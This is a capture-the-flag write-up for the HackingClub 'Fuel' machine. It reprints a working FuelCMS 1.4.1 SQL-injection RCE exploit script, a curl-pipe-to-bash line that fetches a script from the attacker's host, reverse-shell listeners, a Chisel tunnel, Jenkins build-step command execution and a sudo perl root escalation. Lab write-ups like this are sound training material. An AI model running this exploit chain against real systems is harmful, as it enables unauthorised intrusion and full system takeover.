↓Skip to main content

[Write-Up] HackingClub: Fuel

·19 mins
Linux HackingClub Easy SQLi RCE Jenkins
Table of Contents

Recon #

Nmap #

By running Nmap on top 1000 most common ports we find a SSH server on default port, a HTTP server on default port and a HTTP server running on port 8081.

┌──(kali㉿kali)-[~/Machines/HC-Fuel]
└─$ nmap -sV fuel.hc      
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-20 15:24 -0400
Nmap scan report for fuel.hc (172.16.10.15)
Host is up (0.19s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
8081/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.33 seconds

Enumeration #

Fuzzing Apache - Port 80 #

┌──(kali㉿kali)-[~/Machines/HC-Fuel]
└─$ ffuf -u "http://fuel.hc/FUZZ" -w /usr/share/wordlists/dirb/big.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://fuel.hc/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.htaccess               [Status: 403, Size: 272, Words: 20, Lines: 10, Duration: 176ms]
.htpasswd               [Status: 403, Size: 272, Words: 20, Lines: 10, Duration: 171ms]
server-status           [Status: 403, Size: 272, Words: 20, Lines: 10, Duration: 164ms]
:: Progress: [20469/20469] :: Job [1/1] :: 210 req/sec :: Duration: [0:01:33] :: Errors: 0 ::

Fuzzing FuelCMS - Port 80 #

┌──(kali㉿kali)-[~/Machines/HC-Fuel]
└─$ ffuf -u "http://fuel.hc:8081/FUZZ" -w /usr/share/wordlists/dirb/big.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://fuel.hc:8081/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.ssh                    [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 183ms]
.rhosts                 [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 183ms]
.subversion             [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 183ms]
.profile                [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 183ms]
.svn                    [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 181ms]
0                       [Status: 200, Size: 16213, Words: 735, Lines: 230, Duration: 360ms]
.web                    [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 544ms]
.forward                [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 2099ms]
.passwd                 [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 3921ms]
.listing                [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 3921ms]
.htaccess               [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 3937ms]
.history                [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 3938ms]
.cvsignore              [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 3956ms]
.bashrc                 [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 4922ms]
.perf                   [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 4922ms]
.cvs                    [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 4924ms]
.htpasswd               [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 4931ms]
.bash_history           [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 4931ms]
assets                  [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 195ms]
home                    [Status: 200, Size: 16213, Words: 735, Lines: 230, Duration: 533ms]
index                   [Status: 200, Size: 16213, Words: 735, Lines: 230, Duration: 502ms]
offline                 [Status: 200, Size: 70, Words: 8, Lines: 2, Duration: 298ms]
robots.txt              [Status: 200, Size: 30, Words: 3, Lines: 2, Duration: 199ms]
server-status           [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 181ms]
sitemap_xml             [Status: 200, Size: 398, Words: 13, Lines: 12, Duration: 503ms]
:: Progress: [20469/20469] :: Job [1/1] :: 83 req/sec :: Duration: [0:04:06] :: Errors: 0 ::

Manual Exploration FuelCMS - Port 8081 #

Upon inspection the home page, we find out this server hosts FuelCMS version 1.4, also, we can see that a robots.txt file is found, which leads us to the page where FuelCMS is reached, /fuel.

Upon searching Exploit-DB we find out that FuelCMS has a SQL injection vulnerability that leads to RCE.

Vulnerabilities #

FuelCMS RCE #

One can find an exploit ready for this SQL injection on Exploit-DB fuel CMS 1.4.1 - Remote Code Execution (1). The code for the exploit is shown below:

import requests
import urllib

url = "http://127.0.0.1:8881"
def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start

while 1:
	xxxx = raw_input('cmd:')
	burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"
	proxy = {"http":"http://127.0.0.1:8080"}
	r = requests.get(burp0_url, proxies=proxy)

	html = "<!DOCTYPE html>"
	htmlcharset = r.text.find(html)

	begin = r.text[0:20]
	dup = find_nth_overlapping(r.text,begin,2)

	print r.text[0:dup]

One just need to update the host variable and have a running exploit. Also, the exploit is running the requests through Burp Suite, we can remove that feature, but left, since it’s easier to inspect the requests on Burp.

By running ls / we find out that the explot actually works:

Then we that information we can already get the first flag by running, the flag is located near line 435 on the Pretty response view on Burp Suite:

cat /user.txt
# OUPUT
		
			<p style="margin-left:10px">
			File: /var/www/html/fuelcms/index.php<br />
			Line: 364<br />
			Function: require_once			</p>

		
	

</div>CS{REDACTED}

<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;">

<h4>A PHP Error was encountered</h4>

Exploitation #

First, we ensure the machine has curl by running:

which curl
/usr/bin/curl

Since it has curl, we try pulling a PHP reverse shell into it. It’s uploaded to http://fuel.hc:8081/rev.php and we get initial foothold on the machine.

┌──(kali㉿kali)-[~/Machines/HC-Fuel]
└─$ nc -lnvp 4444   
listening on [any] 4444 ...
connect to [10.0.9.28] from (UNKNOWN) [172.16.4.56] 54990
Linux ip-172-16-4-56 5.4.0-1057-aws #60~18.04.1-Ubuntu SMP Thu Sep 9 20:38:09 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 21:05:04 up 33 min,  0 users,  load average: 2.31, 17.10, 26.29
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

Privilege Escalation #

We run linrecon.sh script:

www-data@ip-172-16-4-56:/$ curl http://10.0.9.28:8000/linrecon.sh | bash
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1283  100  1283    0     0   3935      0 --:--:-- --:--:-- --:--:--  3923
[+] Current user: www-data
    User id: uid=33(www-data) gid=33(www-data) groups=33(www-data)
    User groups: www-data
[+] Passwordless sudo commands: 
sudo: a password is required
[+] User history:

[+] Loading /etc/passwd content
[+] Login users:
root
sync
ubuntu
jenkins
Home (/root) for root
ls: cannot open directory '/root': Permission denied
Home (/bin) for sync
total 15M
-rwxr-xr-x  1 root root   89 Apr 26  2016 red
-rwxr-xr-x  1 root root  51K Apr 26  2016 ed
-rwxr-xr-x  1 root root  14K Aug 11  2016 ulockmgr_server
-rwsr-xr-x  1 root root  31K Aug 11  2016 fusermount
-rwxr-xr-x  1 root root 151K Jan 10  2017 netstat
-rwxr-xr-x  1 root root  35K Apr 21  2017 setfacl
-rwxr-xr-x  1 root root  23K Apr 21  2017 getfacl
-rwxr-xr-x  1 root root  14K Apr 21  2017 chacl
-rwxr-xr-x  1 root root 5.0K Apr 28  2017 znew
-rwxr-xr-x  1 root root 1.9K Apr 28  2017 zmore
-rwxr-xr-x  1 root root 2.0K Apr 28  2017 zless
-rwxr-xr-x  1 root root 5.8K Apr 28  2017 zgrep
-rwxr-xr-x  1 root root 2.1K Apr 28  2017 zforce
-rwxr-xr-x  1 root root  140 Apr 28  2017 zfgrep
-rwxr-xr-x  1 root root  140 Apr 28  2017 zegrep
-rwxr-xr-x  1 root root 5.7K Apr 28  2017 zdiff
-rwxr-xr-x  1 root root 1.8K Apr 28  2017 zcmp
-rwxr-xr-x  1 root root 1.9K Apr 28  2017 zcat
-rwxr-xr-x  2 root root 2.3K Apr 28  2017 uncompress
-rwxr-xr-x  1 root root 100K Apr 28  2017 gzip
-rwxr-xr-x  1 root root 5.8K Apr 28  2017 gzexe
-rwxr-xr-x  2 root root 2.3K Apr 28  2017 gunzip
lrwxrwxrwx  1 root root   14 Nov  1  2017 pidof -> /sbin/killall5
-rwxr-xr-x  1 root root 8.4K Dec  1  2017 lesspipe
-rwxr-xr-x  1 root root  20K Dec  1  2017 lesskey
lrwxrwxrwx  1 root root    8 Dec  1  2017 lessfile -> lesspipe
-rwxr-xr-x  1 root root  11K Dec  1  2017 lessecho
-rwxr-xr-x  1 root root 167K Dec  1  2017 less
-rwxr-xr-x  1 root root  946 Dec 30  2017 which
-rwxr-xr-x  1 root root 9.9K Dec 30  2017 tempfile
-rwxr-xr-x  1 root root  19K Dec 30  2017 run-parts
-rwxr-xr-x  1 root root  27K Jan 12  2018 whiptail
-rwxr-xr-x  1 root root 131K Jan 18  2018 vdir
-rwxr-xr-x  1 root root  35K Jan 18  2018 uname
-rwxr-xr-x  1 root root  31K Jan 18  2018 true
-rwxr-xr-x  1 root root  87K Jan 18  2018 touch
-rwxr-xr-x  1 root root  35K Jan 18  2018 sync
-rwxr-xr-x  1 root root  75K Jan 18  2018 stty
-rwxr-xr-x  1 root root  35K Jan 18  2018 sleep
-rwxr-xr-x  1 root root  43K Jan 18  2018 rmdir
-rwxr-xr-x  1 root root  63K Jan 18  2018 rm
-rwxr-xr-x  1 root root  43K Jan 18  2018 readlink
-rwxr-xr-x  1 root root  35K Jan 18  2018 pwd
-rwxr-xr-x  1 root root 135K Jan 18  2018 mv
-rwxr-xr-x  1 root root  43K Jan 18  2018 mktemp
-rwxr-xr-x  1 root root  67K Jan 18  2018 mknod
-rwxr-xr-x  1 root root  79K Jan 18  2018 mkdir
-rwxr-xr-x  1 root root 131K Jan 18  2018 ls
-rwxr-xr-x  1 root root  67K Jan 18  2018 ln
-rwxr-xr-x  1 root root  31K Jan 18  2018 false
-rwxr-xr-x  1 root root  35K Jan 18  2018 echo
-rwxr-xr-x  1 root root 131K Jan 18  2018 dir
-rwxr-xr-x  1 root root  83K Jan 18  2018 df
-rwxr-xr-x  1 root root  75K Jan 18  2018 dd
-rwxr-xr-x  1 root root  99K Jan 18  2018 date
-rwxr-xr-x  1 root root 139K Jan 18  2018 cp
-rwxr-xr-x  1 root root  67K Jan 18  2018 chown
-rwxr-xr-x  1 root root  59K Jan 18  2018 chmod
-rwxr-xr-x  1 root root  63K Jan 18  2018 chgrp
-rwxr-xr-x  1 root root  35K Jan 18  2018 cat
-rwxr-xr-x  1 root root 2.7K Jan 22  2018 unicode_start
-rwxr-xr-x  1 root root  43K Jan 22  2018 setfont
-rwxr-xr-x  1 root root  19K Jan 22  2018 openvt
lrwxrwxrwx  1 root root    6 Jan 22  2018 open -> openvt
-rwxr-xr-x  1 root root 207K Jan 22  2018 loadkeys
-rwxr-xr-x  1 root root  11K Jan 22  2018 kbd_mode
-rwxr-xr-x  1 root root  11K Jan 22  2018 fgconsole
-rwxr-xr-x  1 root root 167K Jan 22  2018 dumpkeys
-rwxr-xr-x  1 root root  11K Jan 22  2018 chvt
lrwxrwxrwx  1 root root    4 Jan 25  2018 sh.distrib -> dash
-rwxr-xr-x  1 root root 119K Jan 25  2018 dash
-rwxr-xr-x  1 root root 107K Jan 30  2018 sed
lrwxrwxrwx  1 root root    8 Jan 31  2018 ypdomainname -> hostname
lrwxrwxrwx  1 root root    8 Jan 31  2018 nisdomainname -> hostname
-rwxr-xr-x  1 root root  19K Jan 31  2018 hostname
lrwxrwxrwx  1 root root    8 Jan 31  2018 domainname -> hostname
lrwxrwxrwx  1 root root    8 Jan 31  2018 dnsdomainname -> hostname
lrwxrwxrwx  1 root root    4 Mar  6  2018 rnano -> nano
-rwxr-xr-x  1 root root 241K Mar  6  2018 nano
-rwxr-xr-x  1 root root 388K Mar 12  2018 mkfs.btrfs
-rwxr-xr-x  1 root root 1.2K Mar 12  2018 fsck.btrfs
-rwxr-xr-x  1 root root 368K Mar 12  2018 btrfstune
lrwxrwxrwx  1 root root    5 Mar 12  2018 btrfsck -> btrfs
-rwxr-xr-x  1 root root 364K Mar 12  2018 btrfs-zero-log
-rwxr-xr-x  1 root root 364K Mar 12  2018 btrfs-select-super
-rwxr-xr-x  1 root root 368K Mar 12  2018 btrfs-map-logical
-rwxr-xr-x  1 root root 388K Mar 12  2018 btrfs-image
-rwxr-xr-x  1 root root 364K Mar 12  2018 btrfs-find-root
-rwxr-xr-x  1 root root 368K Mar 12  2018 btrfs-debug-tree
-rwxr-xr-x  1 root root 700K Mar 12  2018 btrfs
-rwxr-xr-x  1 root root  35K May 14  2018 nc.openbsd
-rwxr-xr-x  1 root root  36K Dec 11  2018 fuser
-rwsr-xr-x  1 root root  44K Mar 22  2019 su
-rwxr-xr-x  1 root root  52K Mar 22  2019 login
-rwxr-xr-x  1 root root  38K Apr  4  2019 plymouth
-rwxr-xr-x  1 root root  39K Apr 23  2019 setupcon
lrwxrwxrwx  1 root root    4 Jun  6  2019 rbash -> bash
-rwxr-xr-x  1 root root 1.1M Jun  6  2019 bash
lrwxrwxrwx  1 root root    4 Jun 28  2019 ping6 -> ping
lrwxrwxrwx  1 root root    4 Jun 28  2019 ping4 -> ping
-rwsr-xr-x  1 root root  63K Jun 28  2019 ping
-rwxr-xr-x  1 root root 1.3K Jul  4  2019 bzmore
lrwxrwxrwx  1 root root    6 Jul  4  2019 bzless -> bzmore
-rwxr-xr-x  1 root root  14K Jul  4  2019 bzip2recover
-rwxr-xr-x  3 root root  35K Jul  4  2019 bzip2
-rwxr-xr-x  1 root root 3.6K Jul  4  2019 bzgrep
lrwxrwxrwx  1 root root    6 Jul  4  2019 bzfgrep -> bzgrep
-rwxr-xr-x  1 root root 4.8K Jul  4  2019 bzexe
lrwxrwxrwx  1 root root    6 Jul  4  2019 bzegrep -> bzgrep
-rwxr-xr-x  1 root root 2.1K Jul  4  2019 bzdiff
lrwxrwxrwx  1 root root    6 Jul  4  2019 bzcmp -> bzdiff
-rwxr-xr-x  3 root root  35K Jul  4  2019 bzcat
-rwxr-xr-x  3 root root  35K Jul  4  2019 bunzip2
-rwxr-xr-x  1 root root 131K Aug  9  2019 ps
-rwxr-xr-x  1 root root  27K Aug  9  2019 kill
-rwxr-xr-x  1 root root 215K Sep 18  2019 grep
-rwxr-xr-x  1 root root   28 Sep 18  2019 fgrep
-rwxr-xr-x  1 root root   28 Sep 18  2019 egrep
lrwxrwxrwx  1 root root    4 Jul 28  2020 lsmod -> kmod
-rwxr-xr-x  1 root root 147K Jul 28  2020 kmod
-rwxr-xr-x  1 root root  31K Sep 16  2020 wdctl
-rwsr-xr-x  1 root root  27K Sep 16  2020 umount
-rwxr-xr-x  1 root root  15K Sep 16  2020 mountpoint
-rwsr-xr-x  1 root root  43K Sep 16  2020 mount
-rwxr-xr-x  1 root root  39K Sep 16  2020 more
-rwxr-xr-x  1 root root  83K Sep 16  2020 lsblk
-rwxr-xr-x  1 root root  64K Sep 16  2020 findmnt
-rwxr-xr-x  1 root root  71K Sep 16  2020 dmesg
lrwxrwxrwx  1 root root    7 Sep 18  2020 static-sh -> busybox
-rwxr-xr-x  1 root root 2.0M Sep 18  2020 busybox
-rwxr-xr-x  1 root root 414K Dec 16  2020 tar
-rwxr-xr-x  1 root root 137K Jan 26  2021 ss
-rwxr-xr-x  1 root root 546K Jan 26  2021 ip
lrwxrwxrwx  1 root root    4 Apr 16  2021 sh -> dash
lrwxrwxrwx  1 root root   20 Apr 16  2021 mt -> /etc/alternatives/mt
lrwxrwxrwx  1 root root   24 Apr 16  2021 netcat -> /etc/alternatives/netcat
lrwxrwxrwx  1 root root   20 Apr 16  2021 nc -> /etc/alternatives/nc
-rwxr-xr-x  1 root root 571K Jul 21  2021 udevadm
-rwxr-xr-x  1 root root  27K Jul 21  2021 systemd-tty-ask-password-agent
-rwxr-xr-x  1 root root  71K Jul 21  2021 systemd-tmpfiles
-rwxr-xr-x  1 root root  43K Jul 21  2021 systemd-sysusers
-rwxr-xr-x  1 root root  15K Jul 21  2021 systemd-notify
-rwxr-xr-x  1 root root  19K Jul 21  2021 systemd-machine-id-setup
-rwxr-xr-x  1 root root  15K Jul 21  2021 systemd-inhibit
-rwxr-xr-x  1 root root  83K Jul 21  2021 systemd-hwdb
-rwxr-xr-x  1 root root  15K Jul 21  2021 systemd-escape
-rwxr-xr-x  1 root root  11K Jul 21  2021 systemd-ask-password
lrwxrwxrwx  1 root root   20 Jul 21  2021 systemd -> /lib/systemd/systemd
-rwxr-xr-x  1 root root 179K Jul 21  2021 systemctl
-rwxr-xr-x  1 root root  43K Jul 21  2021 networkctl
-rwxr-xr-x  1 root root  51K Jul 21  2021 loginctl
-rwxr-xr-x  1 root root  63K Jul 21  2021 journalctl
-rwxr-xr-x  1 root root  47K Aug 23  2021 ntfswipe
-rwxr-xr-x  1 root root  31K Aug 23  2021 ntfsusermap
-rwxr-xr-x  1 root root  39K Aug 23  2021 ntfstruncate
-rwxr-xr-x  1 root root  87K Aug 23  2021 ntfssecaudit
-rwxr-xr-x  1 root root 115K Aug 23  2021 ntfsrecover
-rwxr-xr-x  1 root root  31K Aug 23  2021 ntfsmove
-rwxr-xr-x  1 root root  32K Aug 23  2021 ntfsls
-rwxr-xr-x  1 root root  55K Aug 23  2021 ntfsinfo
-rwxr-xr-x  1 root root  43K Aug 23  2021 ntfsfix
-rwxr-xr-x  1 root root  35K Aug 23  2021 ntfsfallocate
-rwxr-xr-x  1 root root  35K Aug 23  2021 ntfscmp
-rwxr-xr-x  1 root root  35K Aug 23  2021 ntfscluster
-rwxr-xr-x  1 root root  27K Aug 23  2021 ntfscat
-rwxr-xr-x  1 root root  11K Aug 23  2021 ntfs-3g.probe
-rwxr-xr-x  1 root root 143K Aug 23  2021 ntfs-3g
-rwxr-xr-x  1 root root 107K Aug 23  2021 lowntfs-3g
-rwxr-xr-x  1 root root  79K Aug 25  2021 mt-gnu
-rwxr-xr-x  1 root root 154K Aug 25  2021 cpio
drwxr-xr-x  2 root root 4.0K Sep 25  2021 .
drwxr-xr-x 23 root root 4.0K Sep 20 20:32 ..
Home (/home/ubuntu) for ubuntu
total 48K
-rw-r--r-- 1 ubuntu ubuntu  807 Apr  4  2018 .profile
-rw-r--r-- 1 ubuntu ubuntu 3.7K Apr  4  2018 .bashrc
-rw-r--r-- 1 ubuntu ubuntu  220 Apr  4  2018 .bash_logout
drwxr-xr-x 3 root   root   4.0K Sep 24  2021 ..
drwx------ 2 ubuntu ubuntu 4.0K Sep 24  2021 .ssh
drwx------ 3 ubuntu ubuntu 4.0K Sep 24  2021 .gnupg
drwx------ 2 ubuntu ubuntu 4.0K Sep 24  2021 .cache
-rw-r--r-- 1 ubuntu ubuntu    0 Sep 24  2021 .sudo_as_admin_successful
-rw------- 1 root   root   1005 Sep 24  2021 .viminfo
-rw------- 1 root   root    427 Sep 24  2021 .mysql_history
drwxr-xr-x 5 ubuntu ubuntu 4.0K Sep 24  2021 .
-rw-rw-r-- 1 ubuntu ubuntu  243 Sep 24  2021 .wget-hsts
-rw------- 1 ubuntu ubuntu  193 Jan 26  2022 .bash_history
Home (/var/lib/jenkins) for jenkins
total 132K
drwxr-xr-x 41 root    root    4.0K Sep 24  2021 ..
drwx------  3 jenkins jenkins 4.0K Sep 24  2021 .gnupg
drwxr-xr-x  3 jenkins jenkins 4.0K Sep 24  2021 .java
-rw-r--r--  1 jenkins jenkins   64 Sep 24  2021 secret.key
-rw-r--r--  1 jenkins jenkins    0 Sep 24  2021 secret.key.not-so-secret
drwxr-xr-x  2 jenkins jenkins 4.0K Sep 24  2021 jobs
-rw-------  1 jenkins jenkins 1.7K Sep 24  2021 identity.key.enc
-rw-r--r--  1 jenkins jenkins  171 Sep 24  2021 jenkins.telemetry.Correlator.xml
drwxr-xr-x  2 jenkins jenkins 4.0K Sep 24  2021 nodes
drwxr-xr-x  2 jenkins jenkins 4.0K Sep 24  2021 userContent
drwxr-xr-x  3 jenkins jenkins 4.0K Sep 24  2021 logs
drwxr-xr-x 84 jenkins jenkins  12K Sep 24  2021 plugins
drwxr-xr-x  2 jenkins jenkins 4.0K Sep 24  2021 workflow-libs
-rw-r--r--  1 jenkins jenkins  370 Sep 24  2021 hudson.plugins.git.GitTool.xml
drwxr-xr-x  3 jenkins jenkins 4.0K Sep 24  2021 .groovy
drwxr-xr-x  3 jenkins jenkins 4.0K Sep 24  2021 users
-rw-r--r--  1 jenkins jenkins  179 Sep 24  2021 jenkins.model.JenkinsLocationConfiguration.xml
drwxr-xr-x  4 jenkins jenkins 4.0K Sep 24  2021 .cache
-rw-r--r--  1 jenkins jenkins    7 Sep 24  2021 jenkins.install.UpgradeWizard.state
drwx------  4 jenkins jenkins 4.0K Sep 24  2021 secrets
-rw-r--r--  1 jenkins jenkins  169 Sep 24  2021 jenkins.security.QueueItemAuthenticatorConfiguration.xml
-rw-r--r--  1 jenkins jenkins  162 Sep 24  2021 jenkins.security.UpdateSiteWarningsConfiguration.xml
-rw-r--r--  1 jenkins jenkins  357 Sep 24  2021 jenkins.security.apitoken.ApiTokenPropertyConfiguration.xml
-rw-------  1 jenkins jenkins  134 Sep 30  2021 .bash_history
-rw-r--r--  1 jenkins jenkins   45 Oct  1  2021 .owner
drwxr-xr-x  2 jenkins jenkins 4.0K Sep 18  2023 updates
-rw-r--r--  1 jenkins jenkins  129 May  1 21:46 queue.xml.bak
-rw-r--r--  1 jenkins jenkins  156 Sep 20 20:32 hudson.model.UpdateCenter.xml
-rw-r--r--  1 jenkins jenkins  907 Sep 20 20:33 nodeMonitors.xml
-rw-r--r--  1 jenkins jenkins    7 Sep 20 20:33 jenkins.install.InstallUtil.lastExecVersion
-rw-r--r--  1 jenkins jenkins 1.5K Sep 20 20:33 config.xml
-rw-r--r--  1 jenkins jenkins    0 Sep 20 20:33 .lastStarted
drwxr-xr-x 15 jenkins jenkins 4.0K Sep 20 20:33 .

=== SYSTEM INFORMATION ===
[+] Hostname: 172.16.4.56 
[+] Kernel Version: Linux version 5.4.0-1057-aws (buildd@lcy01-amd64-010) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #60~18.04.1-Ubuntu SMP Thu Sep 9 20:38:09 UTC 2021
[+] Linux Distro: Ubuntu 18.04.5 LTS \n \l
---------
=== MACHINE STATE ===
[+] Running proccess
[+] Environment variables
APACHE_LOG_DIR=/var/log/apache2
LANG=C
INVOCATION_ID=7e969ec6d6ed4523a1ddd5df6b86c8e0
APACHE_LOCK_DIR=/var/lock/apache2
PWD=/
JOURNAL_STREAM=9:18012
APACHE_RUN_GROUP=www-data
APACHE_RUN_DIR=/var/run/apache2
APACHE_RUN_USER=www-data
APACHE_PID_FILE=/var/run/apache2/apache2.pid
SHLVL=2
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
_=/usr/bin/env
[+] Network state of the machine
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0  13414 172.16.4.56:54990       10.0.9.28:4444          ESTABLISHED 18113/sh            
tcp        0      1 172.16.4.56:38050       10.0.9.28:8000          LAST_ACK    -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 127.0.0.1:8080          :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::8081                 :::*                    LISTEN      -                   
tcp6       0      0 172.16.4.56:8081        10.0.9.28:58964         ESTABLISHED -                   
[+] Bash sensitive files
/snap/core18/2128/etc/skel/.bash_logout
/snap/core18/2128/etc/skel/.bashrc
/snap/core18/2284/etc/skel/.bash_logout
/snap/core18/2284/etc/skel/.bashrc
/var/lib/jenkins/.bash_history
/home/ubuntu/.bash_logout
/home/ubuntu/.bashrc
/home/ubuntu/.bash_history
/etc/skel/.bash_logout
/etc/skel/.bashrc
[+] 0777 files
[+] SUID files
[+] Files changed recently
[+] Files with capabilities
/usr/bin/mtr-packet = cap_net_raw+ep
[+] Cron jobs
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

On the recon we find some interesting things:

  • We have a ubuntu and jenkins users
  • We have two services running on localhost
    • MySQL on 3306
    • HTTP on 8080 (Jenkins)

We use Chisel tunneling tool to forward the Jenkins running on 8080 locally to our attacker machine. On the attacker we run:

┌──(kali㉿kali)-[~/Machines/tools]
└─$ ./chisel server -p 9000 --reverse
2026/09/23 22:18:59 server: Reverse tunnelling enabled
2026/09/23 22:18:59 server: Fingerprint BK343wrF9kAUND3S5Tp4XvIEc6XAeupqbn+8rdntYEM=
2026/09/23 22:18:59 server: Listening on http://0.0.0.0:9000
2026/09/23 22:20:44 server: session#4: Open (user=- addr=172.16.12.120:39798 remotes=R:0.0.0.0:8081:127.0.0.1:8080)
2026/09/23 22:20:44 server: session#4: tun: proxy#R:8081=>8080: Listening

On the target we run:

www-data@ip-172-16-12-120:/tmp$ ./chisel client 10.0.9.28:9000 R:8080:127.0.0.1:8080
2026/09/24 02:20:27 client: Connecting to ws://10.0.9.28:9000
2026/09/24 02:20:28 client: Connection error: server: Server cannot listen on R:8080=>8080
2026/09/24 02:20:28 client: Retrying in 1s...
2026/09/24 02:20:31 client: Connection error: server: Server cannot listen on R:8080=>8080 (Attempt: 1/unlimited)
2026/09/24 02:20:31 client: Retrying in 2s...
2026/09/24 02:20:34 client: Connection error: server: Server cannot listen on R:8080=>8080 (Attempt: 2/unlimited)
2026/09/24 02:20:34 client: Retrying in 4s...
^C2026/09/24 02:20:34 client: Cancelled
www-data@ip-172-16-12-120:/tmp$ ./chisel client 10.0.9.28:9000 R:8081:127.0.0.1:8080 
2026/09/24 02:20:43 client: Connecting to ws://10.0.9.28:9000
2026/09/24 02:20:44 client: Connected (Latency 145.826606ms)

With that we can access the Jenkins service. We discover it’s authenticated by default.

Exploiting Jenkins #

Since we have Jenkins and it does not require authentication, we can use it’s intended functionality to pivot to the Jenkins user.

We got New Item and create a Freestyle Project, name it myproject1.

Then we just need to create a Execute Shell step under Build to be able to run arbitrary commands:

After we run it we have: 

┌──(kali㉿kali)-[~/Machines/tools]
└─$ nc -lnvp 4445 
listening on [any] 4445 ...
connect to [10.0.9.28] from (UNKNOWN) [172.16.12.120] 42044
bash: cannot set terminal process group (1400): Inappropriate ioctl for device
bash: no job control in this shell
jenkins@ip-172-16-12-120:~/workspace/myproject$ whoami
whoami
jenkins
jenkins@ip-172-16-12-120:~/workspace/myproject$

We run linrecon.sh on it, and we find out that Jenkins can run any command as root.

[+] Passwordless sudo commands: 
Matching Defaults entries for jenkins on ip-172-16-12-120:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jenkins may run the following commands on ip-172-16-12-120:
    (root) NOPASSWD: ALL

jenkins@ip-172-16-12-120:~/workspace/myproject$ which perl
which perl
/usr/bin/perl
jenkins@ip-172-16-12-120:~/workspace/myproject$ sudo perl -e 'exec "/bin/sh"'
sudo perl -e 'exec "/bin/sh"'
whoami
root
